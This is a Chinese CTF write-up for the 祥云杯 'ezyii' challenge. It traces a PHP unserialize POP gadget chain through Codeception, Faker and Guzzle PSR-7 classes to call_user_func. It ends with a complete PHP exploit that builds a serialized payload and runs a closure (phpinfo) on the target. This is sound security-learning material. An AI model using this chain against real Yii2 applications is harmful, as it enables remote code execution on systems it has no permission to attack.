前言
前几天刚看完祥云杯的题目,做了这道ezyii。当时直接就找到了原本链子的exp直接就拿来用了,没有过多的思考。然而打完这道题目之后,发现后面的题都不太会了(菜狗状。额,那就把这道题的链子好好分析一下吧。
声明:本文的exp及思路来源于这里
POP链分析
在做这道题的时候,根据特征来进行判断,可以看出是上述文章中的第四条链子。下面是我对这个链子的分析过程。
链子的触发点是__destruct()函数也就是下面这个类
这里调用了stopProcess()函数,那么自然而然地想到__call(),找到__call()之后发现还需要一个__toString(),因为__call()长这个样子
__toString()函数在AppendStream类里面
跟进rewind()函数,再跟进seek()函数。
发现它下面又调用了一次rewind(),这时候发现在其它类里面也存在rewind()函数,这样以rewind()为跳板就可实现两个类的切换了。
但是在CachingStream这个类中seek()函数调用了read()函数,我们需要跟进看一下
发现read()里面又调用了read()函数,刚才以rewind()作为跳板,那么这次我们也可以用read()做跳板,因为pumpStream类里面有read()函数
不仅如此,pumpStream类中有一个最关键的函数pump(),可以看到这个函数在上图中已经调用过了,所以只要进入了read()就会调用pump()。而pump里面有call_user_func()
好,到此为止我们已经分析出一条可用的路线了
exp如下:
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}